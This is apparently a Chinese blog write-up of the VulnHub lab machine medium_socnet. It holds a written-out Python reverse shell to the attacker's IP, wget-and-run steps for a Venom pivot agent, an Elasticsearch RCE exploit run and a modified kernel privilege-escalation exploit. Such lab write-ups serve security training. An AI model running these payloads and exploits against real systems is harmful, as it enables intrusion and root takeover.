vulnhub - medium_socnet

medium_socnet

基本信息

kali ip:192.168.157.161

靶机 ip:192.168.157.179

主机发现与端口扫描

nmap -sT --min-rate 10000 -p- 192.168.157.179
nmap -sT -sV -sC -O -p22,5000 192.168.157.179

image-20240919191139310

没什么可利用信息,web页面的输入框不会执行命令

目录扫描

gobuster dir -u http://192.168.157.179:5000/ -w /usr/share/wordlists/dirb/big.txt

扫到/admin目录,提示 Nothing was ran. Input some code to exec()

命令注入

尝试反弹shell

image-20240919192327360

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.157.161",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

内网信息收集与内网穿透穿透

image-20240919192717691

存在Dockerfile,怀疑是docker容器

cat /proc/1/cgroup

image-20240919192747040

确认是docker容器,尝试用他扫描内网其他主机

内网IP地址有3个IP地址段:10.0.0.010.255.255.255、172.16.0.0172.31.255.255、192.168.0.0~192.168.255.255,分别对应A、B、C 三类网络

image-20240919192923027

for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

image-20240919193503100

说明172.17.0.1172.17.0.2存活,需要做代理,这里用Venom

Venom代理

本地开启服务

python3 -m http.server 80

开启监听 (注意端口不要重复)

./admin_linux_x64 -lport 7777

靶机上传

wget 192.168.157.161/agent_linux_x64
chmod +x agent_linux_x64
./agent_linux_x64 -rhost 192.168.157.161 -rport 7777

image-20240920103201058

在venom上设置socks代理

show
goto 1
socks 1080

proxychains代理

sudo vi /etc/proxychains4.conf

把socks4 127.0.0.1 9050 改为 socks5 127.0.0.1 1080

image-20240920104041181

proxychains nmap -Pn -sT 172.17.0.1
proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1

image-20240920104407976

扫描结果与一开始主机发现时相同,查看确认

image-20240920105139006

给浏览器配置代理后访问

image-20240920105209744

确认相同,查看下一台主机

proxychains nmap -Pn -sT 172.17.0.2
proxychains nmap -p9200 -Pn -sT -sV 172.17.0.2

image-20240920104656975

提权

Elasticsearch 历史版本上出现过很多漏洞,搜索相关版本是否存在漏洞

searchsploit elasticsearch

image-20240920105520470

有RCE的python脚本,调用尝试

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

查看发现是python2的脚本

proxychains python2 36337.py 172.17.0.2

我这里运行报错了,翻看其他大佬的wp得知

第一次利用脚本36337.py的时候会报错,原因是elasticsearch服务里面没有数据,所以不能通过elasticsearch来搜索进而执行命令。

解决方法是先插入一条数据,再进行脚本的利用。

搜索发现能够通过curl方式进行ElasticSearch增删改查

proxychains curl -XPOST 'http://172.17.0.3:9200/user/hacker' -d '{ "name" : "hacker" }'

然后再次运行脚本

image-20240920110906693

拿到root权限后,查看发现可疑文件

ls -alh
cat passwords

image-20240920111136874

md5解密

john:1337hack 
test:1234test
admin:1111pass
root:1234pass
jane:1234jane

测试后发现john可登录ssh

image-20240920111648931

john@socnet:~$ sudo -l
[sudo] password for john: 
Sorry, user john may not run sudo on socnet.
john@socnet:~$ uname -a
Linux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

内核版本很低,尝试内核提权

searchsploit Linux Kernel 3.13

image-20240920113036496

cp /usr/share/exploitdb/exploits/linux/local/37292.c  .

编译运行

gcc -o exp 37292.c

发现会报错,修改一下代码

exp 有个问题。首先目标靶机上是没有装 gcc 的, 也就是说 所有的c语言代码只能在 Kali 机器上进行编译。在查看 EXP 的过程中, 发现有一段代码编译了一个c文件成so文件,再对这个so文件进行调用 —— 意味着就算在 Kali 上对 EXP 进行了编译,放到目标靶机上仍无法执行成功。

解决的思路是:修改EXP 代码, 将编译相关的代码段去掉, 然后直接找到编译好的so文件进行调用。

image-20240920121416309

删改后如下

image-20240920121607292

再次编译后的报错不会影响生成结果

image-20240920121738644

把代码中的库文件搜索拷贝出来

locate ofs-lib.so  #定位这个so文件的位置
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

都置于/tmp目录下后,把这两个文件都上传到靶机中

wget http://192.168.157.161/exp
wget http://192.168.157.161/ofs-lib.so
mv * /tmp/
chmod +x exp
./exp

image-20240920125931886

提权成功

posted @   Mar10  阅读(25)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示